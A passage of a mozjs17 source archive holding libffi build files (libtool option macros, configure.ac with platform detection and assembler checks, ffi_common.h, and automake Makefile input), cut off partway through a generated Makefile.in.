[_LT_SET_OPTION([LT_INIT], [disable-fast-install]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `disable-fast-install' option into LT_INIT's first parameter.]) ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_ENABLE_FAST_INSTALL], []) dnl AC_DEFUN([AM_DISABLE_FAST_INSTALL], []) # _LT_WITH_PIC([MODE]) # -------------------- # implement the --with-pic flag, and support the `pic-only' and `no-pic' # LT_INIT options. # MODE is either `yes' or `no'. If omitted, it defaults to `both'. m4_define([_LT_WITH_PIC], [AC_ARG_WITH([pic], [AS_HELP_STRING([--with-pic], [try to use only PIC/non-PIC objects @<:@default=use both@:>@])], [pic_mode="$withval"], [pic_mode=default]) test -z "$pic_mode" && pic_mode=m4_default([$1], [default]) _LT_DECL([], [pic_mode], [0], [What type of objects to build])dnl ])# _LT_WITH_PIC LT_OPTION_DEFINE([LT_INIT], [pic-only], [_LT_WITH_PIC([yes])]) LT_OPTION_DEFINE([LT_INIT], [no-pic], [_LT_WITH_PIC([no])]) # Old name: AU_DEFUN([AC_LIBTOOL_PICMODE], [_LT_SET_OPTION([LT_INIT], [pic-only]) AC_DIAGNOSE([obsolete], [$0: Remove this warning and the call to _LT_SET_OPTION when you put the `pic-only' option into LT_INIT's first parameter.]) ]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_PICMODE], []) ## ----------------- ## ## LTDL_INIT Options ## ## ----------------- ## m4_define([_LTDL_MODE], []) LT_OPTION_DEFINE([LTDL_INIT], [nonrecursive], [m4_define([_LTDL_MODE], [nonrecursive])]) LT_OPTION_DEFINE([LTDL_INIT], [recursive], [m4_define([_LTDL_MODE], [recursive])]) LT_OPTION_DEFINE([LTDL_INIT], [subproject], [m4_define([_LTDL_MODE], [subproject])]) m4_define([_LTDL_TYPE], []) LT_OPTION_DEFINE([LTDL_INIT], [installable], [m4_define([_LTDL_TYPE], [installable])]) LT_OPTION_DEFINE([LTDL_INIT], [convenience], [m4_define([_LTDL_TYPE], [convenience])]) mozjs17.0.0/js/src/ctypes/libffi/configure.ac0000664000175000017500000003216212106270662021037 0ustar sstanglsstangldnl Process this with autoconf to create configure AC_PREREQ(2.63) AC_INIT([libffi], [3.0.10rc0], [http://gcc.gnu.org/bugs.html]) AC_CONFIG_HEADERS([fficonfig.h]) AC_CANONICAL_SYSTEM target_alias=${target_alias-$host_alias} . ${srcdir}/configure.host AM_INIT_AUTOMAKE # The same as in boehm-gc and libstdc++. Have to borrow it from there. # We must force CC to /not/ be precious variables; otherwise # the wrong, non-multilib-adjusted value will be used in multilibs. # As a side effect, we have to subst CFLAGS ourselves. # Also save and restore CFLAGS, since AC_PROG_CC will come up with # defaults of its own if none are provided. m4_rename([_AC_ARG_VAR_PRECIOUS],[real_PRECIOUS]) m4_define([_AC_ARG_VAR_PRECIOUS],[]) save_CFLAGS=$CFLAGS AC_PROG_CC CFLAGS=$save_CFLAGS m4_undefine([_AC_ARG_VAR_PRECIOUS]) m4_rename([real_PRECIOUS],[_AC_ARG_VAR_PRECIOUS]) AC_SUBST(CFLAGS) AM_PROG_AS AM_PROG_CC_C_O AC_PROG_LIBTOOL AC_CONFIG_MACRO_DIR([m4]) AM_MAINTAINER_MODE AC_CHECK_HEADERS(sys/mman.h) AC_CHECK_FUNCS(mmap) AC_FUNC_MMAP_BLACKLIST dnl The -no-testsuite modules omit the test subdir. AM_CONDITIONAL(TESTSUBDIR, test -d $srcdir/testsuite) TARGETDIR="unknown" case "$host" in alpha*-*-*) TARGET=ALPHA; TARGETDIR=alpha; # Support 128-bit long double, changeable via command-line switch. HAVE_LONG_DOUBLE='defined(__LONG_DOUBLE_128__)' ;; arm*-*-*) TARGET=ARM; TARGETDIR=arm ;; amd64-*-freebsd* | amd64-*-openbsd*) TARGET=X86_64; TARGETDIR=x86 ;; amd64-*-freebsd*) TARGET=X86_64; TARGETDIR=x86 ;; avr32*-*-*) TARGET=AVR32; TARGETDIR=avr32 ;; cris-*-*) TARGET=LIBFFI_CRIS; TARGETDIR=cris ;; frv-*-*) TARGET=FRV; TARGETDIR=frv ;; hppa*-*-linux* | parisc*-*-linux*) TARGET=PA_LINUX; TARGETDIR=pa ;; hppa*64-*-hpux*) TARGET=PA64_HPUX; TARGETDIR=pa ;; hppa*-*-hpux*) TARGET=PA_HPUX; TARGETDIR=pa ;; i?86-*-freebsd* | i?86-*-openbsd*) TARGET=X86_FREEBSD; TARGETDIR=x86 ;; i?86-win32* | i?86-*-cygwin* | i?86-*-mingw* | i?86-*-os2*) TARGET=X86_WIN32; TARGETDIR=x86 # All mingw/cygwin/win32 builds require this for sharedlib AM_LTLDFLAGS="-no-undefined" ;; i?86-*-darwin*) TARGET=X86_DARWIN; TARGETDIR=x86 ;; i?86-*-solaris2.1[[0-9]]*) TARGET=X86_64; TARGETDIR=x86 ;; i?86-*-*) TARGET=X86; TARGETDIR=x86 ;; ia64*-*-*) TARGET=IA64; TARGETDIR=ia64 ;; m32r*-*-*) TARGET=M32R; TARGETDIR=m32r ;; m68k-*-*) TARGET=M68K; TARGETDIR=m68k ;; mips-sgi-irix5.* | mips-sgi-irix6.*) TARGET=MIPS; TARGETDIR=mips ;; mips*-*linux*) # Support 128-bit long double for NewABI. HAVE_LONG_DOUBLE='defined(__mips64)' TARGET=MIPS; TARGETDIR=mips ;; moxie-*-*) TARGET=MOXIE; TARGETDIR=moxie ;; powerpc*-*-linux* | powerpc-*-sysv*) TARGET=POWERPC; TARGETDIR=powerpc ;; powerpc-*-beos*) TARGET=POWERPC; TARGETDIR=powerpc ;; powerpc-*-darwin*) TARGET=POWERPC_DARWIN; TARGETDIR=powerpc ;; powerpc-*-aix* | rs6000-*-aix*) TARGET=POWERPC_AIX; TARGETDIR=powerpc ;; powerpc-*-freebsd*) TARGET=POWERPC_FREEBSD; TARGETDIR=powerpc ;; powerpc*-*-rtems*) TARGET=POWERPC; TARGETDIR=powerpc ;; s390-*-* | s390x-*-*) TARGET=S390; TARGETDIR=s390 ;; sh-*-* | sh[[34]]*-*-*) TARGET=SH; TARGETDIR=sh ;; sh64-*-* | sh5*-*-*) TARGET=SH64; TARGETDIR=sh64 ;; sparc*-*-*) TARGET=SPARC; TARGETDIR=sparc ;; x86_64-*-darwin*) TARGET=X86_DARWIN; TARGETDIR=x86 ;; x86_64-*-cygwin* | x86_64-*-mingw*) TARGET=X86_WIN64; TARGETDIR=x86 ;; x86_64-*-*) TARGET=X86_64; TARGETDIR=x86 ;; esac AC_SUBST(AM_RUNTESTFLAGS) AC_SUBST(AM_LTLDFLAGS) if test $TARGETDIR = unknown; then AC_MSG_ERROR(["libffi has not been ported to $host."]) fi AM_CONDITIONAL(MIPS, test x$TARGET = xMIPS) AM_CONDITIONAL(SPARC, test x$TARGET = xSPARC) AM_CONDITIONAL(X86, test x$TARGET = xX86) AM_CONDITIONAL(X86_FREEBSD, test x$TARGET = xX86_FREEBSD) AM_CONDITIONAL(X86_WIN32, test x$TARGET = xX86_WIN32) AM_CONDITIONAL(X86_WIN64, test x$TARGET = xX86_WIN64) AM_CONDITIONAL(X86_DARWIN, test x$TARGET = xX86_DARWIN) AM_CONDITIONAL(ALPHA, test x$TARGET = xALPHA) AM_CONDITIONAL(IA64, test x$TARGET = xIA64) AM_CONDITIONAL(M32R, test x$TARGET = xM32R) AM_CONDITIONAL(M68K, test x$TARGET = xM68K) AM_CONDITIONAL(MOXIE, test x$TARGET = xMOXIE) AM_CONDITIONAL(POWERPC, test x$TARGET = xPOWERPC) AM_CONDITIONAL(POWERPC_AIX, test x$TARGET = xPOWERPC_AIX) AM_CONDITIONAL(POWERPC_DARWIN, test x$TARGET = xPOWERPC_DARWIN) AM_CONDITIONAL(POWERPC_FREEBSD, test x$TARGET = xPOWERPC_FREEBSD) AM_CONDITIONAL(ARM, test x$TARGET = xARM) AM_CONDITIONAL(AVR32, test x$TARGET = xAVR32) AM_CONDITIONAL(LIBFFI_CRIS, test x$TARGET = xLIBFFI_CRIS) AM_CONDITIONAL(FRV, test x$TARGET = xFRV) AM_CONDITIONAL(S390, test x$TARGET = xS390) AM_CONDITIONAL(X86_64, test x$TARGET = xX86_64) AM_CONDITIONAL(SH, test x$TARGET = xSH) AM_CONDITIONAL(SH64, test x$TARGET = xSH64) AM_CONDITIONAL(PA_LINUX, test x$TARGET = xPA_LINUX) AM_CONDITIONAL(PA_HPUX, test x$TARGET = xPA_HPUX) AM_CONDITIONAL(PA64_HPUX, test x$TARGET = xPA64_HPUX) AC_HEADER_STDC AC_CHECK_FUNCS(memcpy) AC_FUNC_ALLOCA AC_CHECK_SIZEOF(double) AC_CHECK_SIZEOF(long double) # Also AC_SUBST this variable for ffi.h. if test -z "$HAVE_LONG_DOUBLE"; then HAVE_LONG_DOUBLE=0 if test $ac_cv_sizeof_double != $ac_cv_sizeof_long_double; then if test $ac_cv_sizeof_long_double != 0; then HAVE_LONG_DOUBLE=1 AC_DEFINE(HAVE_LONG_DOUBLE, 1, [Define if you have the long double type and it is bigger than a double]) fi fi fi AC_SUBST(HAVE_LONG_DOUBLE) AC_C_BIGENDIAN AC_CACHE_CHECK([assembler .cfi pseudo-op support], libffi_cv_as_cfi_pseudo_op, [ libffi_cv_as_cfi_pseudo_op=unknown AC_TRY_COMPILE([asm (".cfi_startproc\n\t.cfi_endproc");],, [libffi_cv_as_cfi_pseudo_op=yes], [libffi_cv_as_cfi_pseudo_op=no]) ]) if test "x$libffi_cv_as_cfi_pseudo_op" = xyes; then AC_DEFINE(HAVE_AS_CFI_PSEUDO_OP, 1, [Define if your assembler supports .cfi_* directives.]) fi if test x$TARGET = xSPARC; then AC_CACHE_CHECK([assembler and linker support unaligned pc related relocs], libffi_cv_as_sparc_ua_pcrel, [ save_CFLAGS="$CFLAGS" save_LDFLAGS="$LDFLAGS" CFLAGS="$CFLAGS -fpic" LDFLAGS="$LDFLAGS -shared" AC_TRY_LINK([asm (".text; foo: nop; .data; .align 4; .byte 0; .uaword %r_disp32(foo); .text");],, [libffi_cv_as_sparc_ua_pcrel=yes], [libffi_cv_as_sparc_ua_pcrel=no]) CFLAGS="$save_CFLAGS" LDFLAGS="$save_LDFLAGS"]) if test "x$libffi_cv_as_sparc_ua_pcrel" = xyes; then AC_DEFINE(HAVE_AS_SPARC_UA_PCREL, 1, [Define if your assembler and linker support unaligned PC relative relocs.]) fi AC_CACHE_CHECK([assembler .register pseudo-op support], libffi_cv_as_register_pseudo_op, [ libffi_cv_as_register_pseudo_op=unknown # Check if we have .register AC_TRY_COMPILE([asm (".register %g2, #scratch");],, [libffi_cv_as_register_pseudo_op=yes], [libffi_cv_as_register_pseudo_op=no]) ]) if test "x$libffi_cv_as_register_pseudo_op" = xyes; then AC_DEFINE(HAVE_AS_REGISTER_PSEUDO_OP, 1, [Define if your assembler supports .register.]) fi fi if test x$TARGET = xX86 || test x$TARGET = xX86_WIN32 || test x$TARGET = xX86_64; then AC_CACHE_CHECK([assembler supports pc related relocs], libffi_cv_as_x86_pcrel, [ libffi_cv_as_x86_pcrel=no echo '.text; foo: nop; .data; .long foo-.; .text' > conftest.s if $CC $CFLAGS -c conftest.s > /dev/null; then libffi_cv_as_x86_pcrel=yes fi ]) if test "x$libffi_cv_as_x86_pcrel" = xyes; then AC_DEFINE(HAVE_AS_X86_PCREL, 1, [Define if your assembler supports PC relative relocs.]) fi AC_CACHE_CHECK([assembler .ascii pseudo-op support], libffi_cv_as_ascii_pseudo_op, [ libffi_cv_as_ascii_pseudo_op=unknown # Check if we have .ascii AC_TRY_COMPILE([asm (".ascii \"string\"");],, [libffi_cv_as_ascii_pseudo_op=yes], [libffi_cv_as_ascii_pseudo_op=no]) ]) if test "x$libffi_cv_as_ascii_pseudo_op" = xyes; then AC_DEFINE(HAVE_AS_ASCII_PSEUDO_OP, 1, [Define if your assembler supports .ascii.]) fi AC_CACHE_CHECK([assembler .string pseudo-op support], libffi_cv_as_string_pseudo_op, [ libffi_cv_as_string_pseudo_op=unknown # Check if we have .string AC_TRY_COMPILE([asm (".string \"string\"");],, [libffi_cv_as_string_pseudo_op=yes], [libffi_cv_as_string_pseudo_op=no]) ]) if test "x$libffi_cv_as_string_pseudo_op" = xyes; then AC_DEFINE(HAVE_AS_STRING_PSEUDO_OP, 1, [Define if your assembler supports .string.]) fi fi if test x$TARGET = xX86_WIN64; then LT_SYS_SYMBOL_USCORE if test "x$sys_symbol_underscore" = xyes; then AC_DEFINE(SYMBOL_UNDERSCORE, 1, [Define if symbols are underscored.]) fi fi case "$target" in # Darwin 10 (OSX 10.6) and beyond allocate non-executable pages *-apple-darwin1* | *-*-freebsd* | *-*-openbsd* | *-pc-solaris*) AC_DEFINE(FFI_MMAP_EXEC_WRIT, 1, [Cannot use malloc on this target, so, we revert to alternative means]) ;; esac if test x$TARGET = xX86_64; then AC_CACHE_CHECK([assembler supports unwind section type], libffi_cv_as_x86_64_unwind_section_type, [ libffi_cv_as_x86_64_unwind_section_type=yes echo '.section .eh_frame,"a",@unwind' > conftest.s if $CC $CFLAGS -c conftest.s 2>&1 | grep -i warning > /dev/null; then libffi_cv_as_x86_64_unwind_section_type=no fi ]) if test "x$libffi_cv_as_x86_64_unwind_section_type" = xyes; then AC_DEFINE(HAVE_AS_X86_64_UNWIND_SECTION_TYPE, 1, [Define if your assembler supports unwind section type.]) fi fi AC_CACHE_CHECK([whether .eh_frame section should be read-only], libffi_cv_ro_eh_frame, [ libffi_cv_ro_eh_frame=no echo 'extern void foo (void); void bar (void) { foo (); foo (); }' > conftest.c if $CC $CFLAGS -S -fpic -fexceptions -o conftest.s conftest.c > /dev/null 2>&1; then if grep '.section.*eh_frame.*"a"' conftest.s > /dev/null; then libffi_cv_ro_eh_frame=yes elif grep '.section.*eh_frame.*#alloc' conftest.c \ | grep -v '#write' > /dev/null; then libffi_cv_ro_eh_frame=yes fi fi rm -f conftest.* ]) if test "x$libffi_cv_ro_eh_frame" = xyes; then AC_DEFINE(HAVE_RO_EH_FRAME, 1, [Define if .eh_frame sections should be read-only.]) AC_DEFINE(EH_FRAME_FLAGS, "a", [Define to the flags needed for the .section .eh_frame directive.]) else AC_DEFINE(EH_FRAME_FLAGS, "aw", [Define to the flags needed for the .section .eh_frame directive.]) fi AC_CACHE_CHECK([for __attribute__((visibility("hidden")))], libffi_cv_hidden_visibility_attribute, [ echo 'int __attribute__ ((visibility ("hidden"))) foo (void) { return 1; }' > conftest.c libffi_cv_hidden_visibility_attribute=no if AC_TRY_COMMAND(${CC-cc} -Werror -S conftest.c -o conftest.s 1>&AS_MESSAGE_LOG_FD); then if grep '\.hidden.*foo' conftest.s >/dev/null; then libffi_cv_hidden_visibility_attribute=yes fi fi rm -f conftest.* ]) if test $libffi_cv_hidden_visibility_attribute = yes; then AC_DEFINE(HAVE_HIDDEN_VISIBILITY_ATTRIBUTE, 1, [Define if __attribute__((visibility("hidden"))) is supported.]) fi AH_BOTTOM([ #ifdef HAVE_HIDDEN_VISIBILITY_ATTRIBUTE #ifdef LIBFFI_ASM #define FFI_HIDDEN(name) .hidden name #else #define FFI_HIDDEN __attribute__ ((visibility ("hidden"))) #endif #else #ifdef LIBFFI_ASM #define FFI_HIDDEN(name) #else #define FFI_HIDDEN #endif #endif ]) AC_SUBST(TARGET) AC_SUBST(TARGETDIR) AC_SUBST(SHELL) AC_ARG_ENABLE(debug, [ --enable-debug debugging mode], if test "$enable_debug" = "yes"; then AC_DEFINE(FFI_DEBUG, 1, [Define this if you want extra debugging.]) fi) AM_CONDITIONAL(FFI_DEBUG, test "$enable_debug" = "yes") AC_ARG_ENABLE(structs, [ --disable-structs omit code for struct support], if test "$enable_structs" = "no"; then AC_DEFINE(FFI_NO_STRUCTS, 1, [Define this is you do not want support for aggregate types.]) fi) AC_ARG_ENABLE(raw-api, [ --disable-raw-api make the raw api unavailable], if test "$enable_raw_api" = "no"; then AC_DEFINE(FFI_NO_RAW_API, 1, [Define this is you do not want support for the raw API.]) fi) AC_ARG_ENABLE(purify-safety, [ --enable-purify-safety purify-safe mode], if test "$enable_purify_safety" = "yes"; then AC_DEFINE(USING_PURIFY, 1, [Define this if you are using Purify and want to suppress spurious messages.]) fi) if test -n "$with_cross_host" && test x"$with_cross_host" != x"no"; then toolexecdir='$(exec_prefix)/$(target_alias)' toolexeclibdir='$(toolexecdir)/lib' else toolexecdir='$(libdir)/gcc-lib/$(target_alias)' toolexeclibdir='$(libdir)' fi multi_os_directory=`$CC -print-multi-os-directory` case $multi_os_directory in .) ;; # Avoid trailing /. *) toolexeclibdir=$toolexeclibdir/$multi_os_directory ;; esac AC_SUBST(toolexecdir) AC_SUBST(toolexeclibdir) if test "${multilib}" = "yes"; then multilib_arg="--enable-multilib" else multilib_arg= fi AC_CONFIG_COMMANDS(include, [test -d include || mkdir include]) AC_CONFIG_COMMANDS(src, [ test -d src || mkdir src test -d src/$TARGETDIR || mkdir src/$TARGETDIR ], [TARGETDIR="$TARGETDIR"]) AC_CONFIG_LINKS(include/ffitarget.h:src/$TARGETDIR/ffitarget.h) AC_CONFIG_FILES(include/Makefile include/ffi.h Makefile testsuite/Makefile man/Makefile libffi.pc) AC_OUTPUT mozjs17.0.0/js/src/ctypes/libffi/stamp-h.in0000664000175000017500000000001212106270662020437 0ustar sstanglsstangltimestamp mozjs17.0.0/js/src/ctypes/libffi/include/0000775000175000017500000000000012106270662020170 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/include/ffi_common.h0000664000175000017500000000573112106270662022463 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi_common.h - Copyright (c) 1996 Red Hat, Inc. Copyright (C) 2007 Free Software Foundation, Inc Common internal definitions and macros. Only necessary for building libffi. ----------------------------------------------------------------------- */ #ifndef FFI_COMMON_H #define FFI_COMMON_H #ifdef __cplusplus extern "C" { #endif #include /* Do not move this. Some versions of AIX are very picky about where this is positioned. */ #ifdef __GNUC__ /* mingw64 defines this already in malloc.h. */ #ifndef alloca # define alloca __builtin_alloca #endif # define MAYBE_UNUSED __attribute__((__unused__)) #else # define MAYBE_UNUSED # if HAVE_ALLOCA_H # include # else # ifdef _AIX #pragma alloca # else # ifndef alloca /* predefined by HP cc +Olibcalls */ # ifdef _MSC_VER # define alloca _alloca # else char *alloca (); # endif # endif # endif # endif #endif /* Check for the existence of memcpy. */ #if STDC_HEADERS # include #else # ifndef HAVE_MEMCPY # define memcpy(d, s, n) bcopy ((s), (d), (n)) # endif #endif #if defined(FFI_DEBUG) #include #endif #ifdef FFI_DEBUG void ffi_assert(char *expr, char *file, int line); void ffi_stop_here(void); void ffi_type_test(ffi_type *a, char *file, int line); #define FFI_ASSERT(x) ((x) ? (void)0 : ffi_assert(#x, __FILE__,__LINE__)) #define FFI_ASSERT_AT(x, f, l) ((x) ? 0 : ffi_assert(#x, (f), (l))) #define FFI_ASSERT_VALID_TYPE(x) ffi_type_test (x, __FILE__, __LINE__) #else #define FFI_ASSERT(x) #define FFI_ASSERT_AT(x, f, l) #define FFI_ASSERT_VALID_TYPE(x) #endif #define ALIGN(v, a) (((((size_t) (v))-1) | ((a)-1))+1) #define ALIGN_DOWN(v, a) (((size_t) (v)) & -a) /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif); /* Extended cif, used in callback from assembly routine */ typedef struct { ffi_cif *cif; void *rvalue; void **avalue; } extended_cif; /* Terse sized type definitions. */ #if defined(_MSC_VER) || defined(__sgi) typedef unsigned char UINT8; typedef signed char SINT8; typedef unsigned short UINT16; typedef signed short SINT16; typedef unsigned int UINT32; typedef signed int SINT32; # ifdef _MSC_VER typedef unsigned __int64 UINT64; typedef signed __int64 SINT64; # else # include typedef uint64_t UINT64; typedef int64_t SINT64; # endif #else typedef unsigned int UINT8 __attribute__((__mode__(__QI__))); typedef signed int SINT8 __attribute__((__mode__(__QI__))); typedef unsigned int UINT16 __attribute__((__mode__(__HI__))); typedef signed int SINT16 __attribute__((__mode__(__HI__))); typedef unsigned int UINT32 __attribute__((__mode__(__SI__))); typedef signed int SINT32 __attribute__((__mode__(__SI__))); typedef unsigned int UINT64 __attribute__((__mode__(__DI__))); typedef signed int SINT64 __attribute__((__mode__(__DI__))); #endif typedef float FLOAT32; #ifdef __cplusplus } #endif #endif mozjs17.0.0/js/src/ctypes/libffi/include/Makefile.am0000664000175000017500000000037112106270662022225 0ustar sstanglsstangl## Process this with automake to create Makefile.in AUTOMAKE_OPTIONS=foreign DISTCLEANFILES=ffitarget.h EXTRA_DIST=ffi.h.in ffi_common.h includesdir = $(libdir)/@PACKAGE_NAME@-@PACKAGE_VERSION@/include nodist_includes_HEADERS = ffi.h ffitarget.h mozjs17.0.0/js/src/ctypes/libffi/include/Makefile.in0000664000175000017500000003347512106270662022251 0ustar sstanglsstangl# Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, # Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ VPATH = @srcdir@ pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ target_triplet = @target@ subdir = include DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in \ $(srcdir)/ffi.h.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \ $(top_srcdir)/configure.ac am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_HEADER = $(top_builddir)/fficonfig.h CONFIG_CLEAN_FILES = ffi.h ffitarget.h CONFIG_CLEAN_VPATH_FILES = SOURCES = DIST_SOURCES = am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; am__vpath_adj = case $$p in \ $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ *) f=$$p;; \ esac; am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; am__install_max = 40 am__nobase_strip_setup = \ srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'` am__nobase_strip = \ for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||" am__nobase_list = $(am__nobase_strip_setup); \ for p in $$list; do echo "$$p $$p"; done | \ sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \ $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \ if (++n[$$2] == $(am__install_max)) \ { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \ END { for (dir in files) print dir, files[dir] }' am__base_list = \ sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \ sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' am__installdirs = "$(DESTDIR)$(includesdir)" HEADERS = $(nodist_includes_HEADERS) ETAGS = etags CTAGS = ctags DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) ACLOCAL = @ACLOCAL@ ALLOCA = @ALLOCA@ AMTAR = @AMTAR@ AM_LTLDFLAGS = @AM_LTLDFLAGS@ AM_RUNTESTFLAGS = @AM_RUNTESTFLAGS@ AR = @AR@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ CC = @CC@ CCAS = @CCAS@ CCASDEPMODE = @CCASDEPMODE@ CCASFLAGS = @CCASFLAGS@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CYGPATH_W = @CYGPATH_W@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ DSYMUTIL = @DSYMUTIL@ DUMPBIN = @DUMPBIN@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ EXEEXT = @EXEEXT@ FGREP = @FGREP@ GREP = @GREP@ HAVE_LONG_DOUBLE = @HAVE_LONG_DOUBLE@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ LD = @LD@ LDFLAGS = @LDFLAGS@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LIBTOOL = @LIBTOOL@ LIPO = @LIPO@ LN_S = @LN_S@ LTLIBOBJS = @LTLIBOBJS@ MAINT = @MAINT@ MAKEINFO = @MAKEINFO@ MKDIR_P = @MKDIR_P@ NM = @NM@ NMEDIT = @NMEDIT@ OBJDUMP = @OBJDUMP@ OBJEXT = @OBJEXT@ OTOOL = @OTOOL@ OTOOL64 = @OTOOL64@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ RANLIB = @RANLIB@ SED = @SED@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ TARGET = @TARGET@ TARGETDIR = @TARGETDIR@ VERSION = @VERSION@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_CC = @ac_ct_CC@ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ lt_ECHO = @lt_ECHO@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target = @target@ target_alias = @target_alias@ target_cpu = @target_cpu@ target_os = @target_os@ target_vendor = @target_vendor@ toolexecdir = @toolexecdir@ toolexeclibdir = @toolexeclibdir@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ AUTOMAKE_OPTIONS = foreign DISTCLEANFILES = ffitarget.h EXTRA_DIST = ffi.h.in ffi_common.h includesdir = $(libdir)/@PACKAGE_NAME@-@PACKAGE_VERSION@/include nodist_includes_HEADERS = ffi.h ffitarget.h all: all-am .SUFFIXES: $(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign include/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --foreign include/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps) cd 